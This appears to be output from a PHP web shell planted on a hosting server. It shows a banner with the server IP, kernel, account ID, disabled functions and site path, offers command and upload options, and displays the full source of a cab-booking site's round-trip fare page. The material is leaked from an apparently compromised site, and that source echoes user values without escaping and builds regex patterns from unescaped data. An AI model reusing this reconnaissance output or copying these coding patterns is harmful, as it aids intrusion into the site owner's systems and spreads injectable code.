Server IP : 82.112.239.40 / Your IP : 18.191.74.140 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include('include/common.php'); if(isset($_SESSION['roundway'])){ $session = $_SESSION['roundway']; $origin = $session['o']; $destination = $session['d']; $pickup_date = $session['pickup_date']; $drop_date = $session['drop_date']; $pickup_time = $session['pickup_time']; $lat = $session['lat']; $long = $session['long']; $trip_type = $session['trip_type']; $mobile = $session['mobile']; }else{ header('location:'.BASE_URL); } $formatted_pickupdate = date('D jS M Y', strtotime($pickup_date)); $formatted_dropdate = date('D jS M Y', strtotime($drop_date)); ?> <!DOCTYPE html> <html lang="en" style="overflow-x:hidden"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="../ms-icon-144x144.html"> <meta name="theme-color" content="#ffffff"> <title>Round Rental Result - <?=SITE_NAME?></title> <?php include "include/header.php"; $current_date= date("Y-m-d h:i:s"); if ($pickup_date===date('Y-m-d')) { ?> <style> .time2{ display: none; } </style> <?php }else{ ?> <style> .time1{ display: none; } </style> <?php } ?> <section class="search-details"> <div class="container"> <div class="card locationbox"> <ul class="list-unstyled locationstyle"> <li class="pick-up"><span><?=$origin; ?> (Round Trip)<br> <span class="display_none_phone">( <?=$formatted_pickupdate?> <?=$pickup_time?> )</span></span></li> <li class="icon"><div><i class="fa fa-chevron-right"></i></div></li> <li class="droploc"><span><?=$destination; ?><br><span class="display_none_phone">( <?=$formatted_dropdate?> 11:59 PM )</span></span></li> </ul> </div> <div class="head"> <p><span class="d-lg-none"><?=$formatted_pickupdate?> <?=$pickup_time?></span></p> <button type="button" class="btn-theme" data-toggle="modal" data-backdrop="false" data-target="#myModal"><i class="fa fa-pencil-square-o"></i> Modify</button> </div> </div> </section> <div class="modal fade" id="myModal" role="dialog" style="z-index: 10000000;"> <div class="modal-dialog"> <div class="modal-content"> <div class=""> <button type="button" class="close" data-dismiss="modal">×</button> </div> <form method="POST" action="recent_form_submision.php"> <h4 class="form-heading">Round Trip</h4> <input type="hidden" name="trip_type" value="Round Trip"> <input type="hidden" name="mobile" value="<?=$mobile?>"> <input type="hidden" name="lat" id="lat"> <input type="hidden" name="long" id="long"> <div class="form-group row"> <div class="col-md-3"> <label>From:</label> </div> <div class="col-md-9"> <input required type="text" class="form-control" placeholder="Start Typing City" id="autocomplete" name="o" value="<?php echo $origin; ?>"> <div class="exchange"><i class="fa fa-exchange" onclick="swipe_from_to('autocomplete','autocomplete2')"></i></div> </div> </div> <div class="form-group row"> <div class="col-md-3"> <label>To:</label> </div> <div class="col-md-9"> <input required type="text" class="form-control" placeholder="Start Typing City" id="autocomplete2" name="d" value="<?php echo $destination; ?>"> </div> </div> <div class="form-group row"> <div class="col-md-4"> <label>Pickup Date:</label> <input type="date" required class="date form-control" min="<?=date('Y-m-d'); ?>" name="pickup_date" value="<?=$pickup_date; ?>"> </div> <div class="col-md-4"> <label>Return Date:</label> <input type="date" required class="form-control" min="<?=date('Y-m-d'); ?>" name="drop_date" value="<?=$drop_date; ?>"> </div> <div class="col-md-4"> <label>Pickup Time:</label> <select class="form-control" name="pickup_time" id="time" placeholder="Time" required> <?php $q = "select * from time_slots"; $query = mysqli_query($db,$q); while($time = mysqli_fetch_array($query)) { $start = strtotime($time['opening_time']); $end = strtotime($time['closing_time']); $timeSlot = $time['time_slot']; for ($i=$start; $i<$end; $i = $i + $timeSlot*60){ $timeFrom = date('h:i A',$i); $timeTo = date('h:i A',strtotime('+'.$timeSlot.'minutes',strtotime($timeFrom))); ?> <?php date_default_timezone_set('Asia/Kolkata'); $timestamp = strtotime(date('H:i')) + 60*60; $currentTime = strtotime(date('h:i A', $timestamp)); if($currentTime <= strtotime($timeFrom)){ ?> <option value="<?php echo $timeFrom; ?>" <?php if($pickup_time==$timeFrom){echo 'selected';} ?> class="time1"><?php echo $timeFrom; ?></option> <?php } ?> <option value="<?php echo $timeFrom; ?>" <?php if($pickup_time==$timeFrom){echo 'selected';} ?> class="time2"><?php echo $timeFrom; ?></option> <?php } } ?> </select> </div> </div> <div class="text-center "> <input type="submit" class="btn btn-theme" name="submit" value="Select Car" /> </div> </form> </div> </div> </div> <!-- ===============modal form============= --> <div class="bg-background py-3" style="padding-top: 5px;"> <style> .modal-backdrop { /* bug fix - no overlay */ display: none; } </style> <script> function openPage(pageName, elmnt, color) { var i, tabcontent2, tablinks; tabcontent2 = document.getElementsByClassName("tabcontent2"); for (i = 0; i < tabcontent2.length; i++) { tabcontent2[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablink"); for (i = 0; i < tablinks.length; i++) { tablinks[i].style.backgroundColor = ""; } document.getElementById(pageName).style.display = "block"; elmnt.style.backgroundColor = color; } // Get the element with id="defaultOpen" and click on it document.getElementById("defaultOpen").click(); </script> <!-- ===========not working cities===================== --> <?php include("include/config.php"); $show = "SELECT * FROM not_working_cities"; $result=$db->query($show); if($result->num_rows>0) { while($row=$result->fetch_assoc()) { $state[]=$row; } } foreach($state as $cities){ $city_exclude = $cities['city']; if (preg_match("/{$city_exclude}/i", $origin) || preg_match("/{$city_exclude}/i", $destination)) { $match = 'true'; } } ?> <?php if ($match == 'true') { ?> <div class="text-center"> <img src="images/empty.gif" class="img-fluid" style="height: 400px;"> <h3>Service not Available in this City</h3> <p>Please try a valid search</p> </div> <style> .bg-background, .bannerimage, #display_hide { display: none; } </style> <?php } ?> <!-- ===========not working cities===================== --> <?php $lastdestination = end($alldest); function dateDifference($pickup_date, $drop_date) { $diff = strtotime($pickup_date) - strtotime($drop_date); return ceil(abs($diff / 86400)); } $pickup_date = "$pickup_date"; $drop_date = "$drop_date"; if(dateDifference($pickup_date, $drop_date) > 0){ $dateDiff = abs(dateDifference($pickup_date, $drop_date) ) ; } else { $dateDiff = abs(dateDifference($pickup_date, $drop_date)) ; } // echo $dateDiff ; $distancecal = 0; $timecal = ''; $selectedorigin = ''; $selecteddest = ''; $demo = ''; $query2 = "SELECT * FROM round_km_limit LIMIT 1"; $kmlimit = $db->query($query2); $km_limit = $kmlimit->fetch_assoc(); $limit=$km_limit['km_limit']; $api = file_get_contents("https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=" . urlencode($origin) . "&destinations=" . urlencode($destination) . "&key=".$google_key); $data = json_decode($api); $distance = round(((int)$data->rows[0]->elements[0]->distance->value / 1000)); $diff = strtotime($pickup_date) - strtotime($drop_date); $dateDiff = ceil(abs($diff / 86400))+1; // echo $distance; // =================== if (($dateDiff == 1 || $dateDiff == 2)) { if ($distance > $limit) { $distance = $distance*2; }else{ $distance = $limit*$dateDiff;; } } else { $distance = $limit * $dateDiff; } $sql2 = "SELECT * FROM cab_types ORDER BY indexing ASC"; $result2 = mysqli_query($db, $sql2); $tabs_result = mysqli_query($db, $sql2); $results = $db->query($sql2); if ($results->num_rows > 0) { while ($rows = $results->fetch_assoc()) { $type_cab[] = $rows['type']; } } $check_type = implode(',',$type_cab); $type_cab_id=explode(',', $check_type); $query = "SELECT * FROM `no_return_round_cities`"; $result = mysqli_query($db, $query); $cab_type_id=array(); $cab_type_ids=array(); $match_city_price=array(); while ($city = mysqli_fetch_array($result)){ $check = $city['city']; $priceNew=$city['price_km']; if ($priceNew==0) { $priceNew=-$city['low_price']; } $city_check = explode(":", $check); if (preg_match("/{$city_check[0]}/i", $origin) && preg_match("/{$city_check[1]}/i", $destination)) { $temp_array=explode(",", $city['cab_type_id']); foreach ($temp_array as $key) { array_push($cab_type_ids, $key); } for ($i=0; $i < count($temp_array); $i++) array_push($match_city_price, $priceNew); } } ?> <section class="cab-price-section"> <div class="container"> <ul class="nav nav-tabs d-lg-none" id="myTab" role="tablist"> <?php $i=1; while ($tab = mysqli_fetch_array($tabs_result)) { if ($i==1) { $active = 'active'; }else{ $active=''; } if($dateDiff==0){ if (in_array($tab['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($tab['type'], $cab_type_ids); $price_rs = $rate = ($tab['round_price'] + $match_city_price[$pos]) * $distance; } else { $price_rs = $rate = $tab['round_price'] * $distance; } } else{ if (in_array($tab['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($tab['type'], $cab_type_ids); $price_rs = $rate = ($tab['round_price'] + $match_city_price[$pos]) * $distance; } else { $price_rs = $rate = $tab['round_price'] * $distance; } } ?> <!-- tabs --> <li class="nav-item"> <a class="nav-link <?=$active?>" data-toggle="tab" href="#tabs-<?=$i?>" role="tab"> <p><?php echo $tab['type']; ?></p> <img src="admin/<?php echo $tab['img'] ?>"> <p>₹<?=$rate?></p> </a> </li> <!-- tabs --> <?php $i++; } ?> </ul> <!-- tabs end --> <div class="tab-content"> <?php $i=1; while ($row2 = mysqli_fetch_array($result2)) { if ($i==1) { $active = 'active'; }else{ $active=''; } if($dateDiff==0){ if (in_array($row2['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($row2['type'], $cab_type_ids); $price_rs = $rate = ($row2['round_price'] + $match_city_price[$pos]) * $distance; } else { $price_rs = $rate = $row2['round_price'] * $distance; } } else{ if (in_array($row2['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($row2['type'], $cab_type_ids); $price_rs = $rate = ($row2['round_price'] + $match_city_price[$pos]) * $distance; } else { $price_rs = $rate = $row2['round_price'] * $distance; } } // base price extra if ($row2['extra_round_price']!=0) { if ($row2['extra_round_price']!=0) { if (in_array($row2['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($row2['type'], $cab_type_ids); $price_rs_extra=$rate = ($row2['extra_round_price'] + $match_city_price[$pos]) * $distance; $base_price = round($price_rs_extra,2); } else { $price_rs_extra=$rate = $row2['extra_price'] * $distance; $base_price = round($price_rs_extra,2); } }else{ $base_price = ''; } } // base price extra // discounted price if($dateDiff==0){ if (in_array($row2['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($row2['type'], $cab_type_ids); $discounted_price = round($rate = ($row2['round_price'] + $match_city_price[$pos]) * $distance); } else { $discounted_price = round($rate = $row2['round_price'] * $distance); } } else{ if (in_array($row2['type'], $cab_type_ids) || $cab_type_id == 'all') { $pos=array_search($row2['type'], $cab_type_ids); $discounted_price = round($rate = ($row2['round_price'] + $match_city_price[$pos]) * $distance); } else { $discounted_price = round($rate = $row2['round_price'] * $distance); } } // discounted price $percentage = ($discounted_price / $base_price) * 100; $percentage = 100-$percentage; ?> <div class="tab-pane py-3 <?=$active?>" id="tabs-<?=$i?>" role="tabpanel"> <form method="POST" action="final_form_submit.php"> <input type="hidden" name="o" value="<?php echo $origin; ?>" /> <input type="hidden" name="mobile" value="<?=$mobile?>"> <!--<input type="hidden" name="d" value="<?php echo $destnm; ?>" />--> <input type="hidden" name="d" value="<?php echo $destination; ?>" /> <input type="hidden" name="pickup_date" value="<?php echo $pickup_date; ?>" /> <input type="hidden" name="drop_date" value="<?php echo $drop_date; ?>" /> <input type="hidden" name="pickup_time" value="<?php echo $pickup_time; ?>" /> <input type="hidden" name="time" value="<?php echo $time; ?>" /> <input type="hidden" name="rate" value="<?php echo $rate; ?>" /> <input type="hidden" name="lat" value="<?php echo $lat; ?>" /> <input type="hidden" name="long" value="<?php echo $long; ?>" /> <input type="hidden" name="distance" value="<?php echo $distance ?>" /> <input type="hidden" name="trip_type" value="<?=$trip_type?>" /> <div class="position-relative phone-offer-badge d-lg-none mt-3"> <?php if ($percentage>0) { ?> <div class="offer-tag"> <img src="images/offer-badge.png"><p><?=round($percentage,2)?> %<br> OFF</p> </div> <?php } ?> <div class="cab-card-phone"> <div class="cab-name"><?php echo $row2['type']; ?></div> <div class="d-flex"> <div class="cab-card-body"> <div class="cab-price"> <div class="price">₹ <?=$discounted_price?></div> <?php if($base_price>$discounted_price){ ?> <div class="base-price"><del>₹ <?=$base_price?></del> </div> <div class="save-price">Save ₹ <?=$base_price-$discounted_price?> </div> <?php } ?> </div> </div> <div class="card-img"> <img src="admin/<?php echo $row2['img'] ?>"> </div> </div> <ul> <li><i class="fa fa-check"></i><span class="text-danger">Free Cancellation</span> till 4 hours of departure.</li> <li><i class="fa fa-check"></i>100% Verified Drivers.</li> <li class="text-success"><i class="fa fa-check"></i>Best Price Guaranteed.</li> <li><i class="fa fa-check"></i> <?=$distance;?> km Included</li> <li class="text-danger"><i class="fa fa-check"></i><?=$row2['extra_afterkms']?>/Km After <?=$distance;?> Kms.</li> </ul> <div class="select-btn"> <button type="submit" class="btn-theme w-100" name="cab_cat_id" value="<?=$row2['id']; ?>">Select</button> </div> </div> </div> </form> </div> <div class="position-relative"> <div class="border-box"> <form method="POST" action="final_form_submit.php"> <input type="hidden" name="o" value="<?php echo $origin; ?>" /> <input type="hidden" name="mobile" value="<?=$mobile?>"> <!--<input type="hidden" name="d" value="<?php echo $destnm; ?>" />--> <input type="hidden" name="d" value="<?php echo $destination; ?>" /> <input type="hidden" name="pickup_date" value="<?php echo $pickup_date; ?>" /> <input type="hidden" name="drop_date" value="<?php echo $drop_date; ?>" /> <input type="hidden" name="pickup_time" value="<?php echo $pickup_time; ?>" /> <input type="hidden" name="time" value="<?php echo $time; ?>" /> <input type="hidden" name="rate" value="<?php echo $rate; ?>" /> <input type="hidden" name="lat" value="<?php echo $lat; ?>" /> <input type="hidden" name="long" value="<?php echo $long; ?>" /> <input type="hidden" name="distance" value="<?php echo $distance ?>" /> <input type="hidden" name="extra_km" value="<?php echo $row2['extra_afterkms'] ?>" /> <input type="hidden" name="trip_type" value="<?=$trip_type?>" /> <?php if ($percentage>0) { ?> <div class="offer-tag"> <img src="images/offer-badge.png"><p><?=round($percentage,2)?> %<br> OFF</p> </div> <?php } ?> <div class="row align-items-center"> <div class="col-md-4"> <div class="cab-detail"> <img src="admin/<?php echo $row2['img'] ?>"> <div class="cab-name"><?php echo $row2['type']; ?></div> </div> </div> <div class="col-md-2"> <div class="cab-price"> <?php if($base_price>$discounted_price){ ?> <div class="base-price"><del>₹ <?=$base_price?></del> </div> <div class="save-price">Save ₹ <?=$base_price-$discounted_price?> </div> <?php } ?> <div class="price">₹ <?=$discounted_price?></div> </div> </div> <div class="col-md-4"> <ul> <li><i class="fa fa-check"></i><span class="text-danger">Free Cancellation</span> till 4 hours of departure.</li> <li><i class="fa fa-check"></i>100% Verified Drivers.</li> <li class="text-success"><i class="fa fa-check"></i>Best Price Guaranteed.</li> <li><i class="fa fa-check"></i> <?=$distance;?> km Included</li> <li class="text-danger"><i class="fa fa-check"></i><?=$row2['extra_afterkms']?>/Km After <?=$distance;?> Kms.</li> </ul> </div> <div class="col-md-2"> <div class="select-btn"> <button type="submit" class="btn-theme" name="cab_cat_id" value="<?=$row2['id']; ?>">Select</button> </div> </div> </div> </form> </div> </div> <?php $i++; } ?> </div> </div> </div> </div> </div> </div> </div> <!--search form--> <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=<?=$google_key?>&libraries=places"></script> <script> function initialize() { var options = { types: "cities", componentRestrictions: { country: "ind" }, }; var input = document.getElementById("autocomplete"); var autocomplete = new google.maps.places.Autocomplete(input, options); var input = document.getElementById("autocomplete2"); var autocomplete102 = new google.maps.places.Autocomplete(input, options); google.maps.event.addListener(autocomplete102, "place_changed", function() { var one_way = autocomplete102.getPlace(); document.getElementById("lat").value = one_way.geometry.location.lat(); document.getElementById("long").value = one_way.geometry.location.lng(); }); } google.maps.event.addDomListener(window, "load", initialize); $(".date").on('change', function() { var selectdate = $(this).val(); var minDate = $(this).attr('min'); if (minDate != selectdate) { $(".time2").show(); $(".time1").hide(); $("#first_opt").html('Select Pick Up Time'); } else { $(".time1").show(); $(".time2").hide(); $("#first_opt").html('Select Pick Up Time');; } }); </script> <?php include "include/footer.php" ?>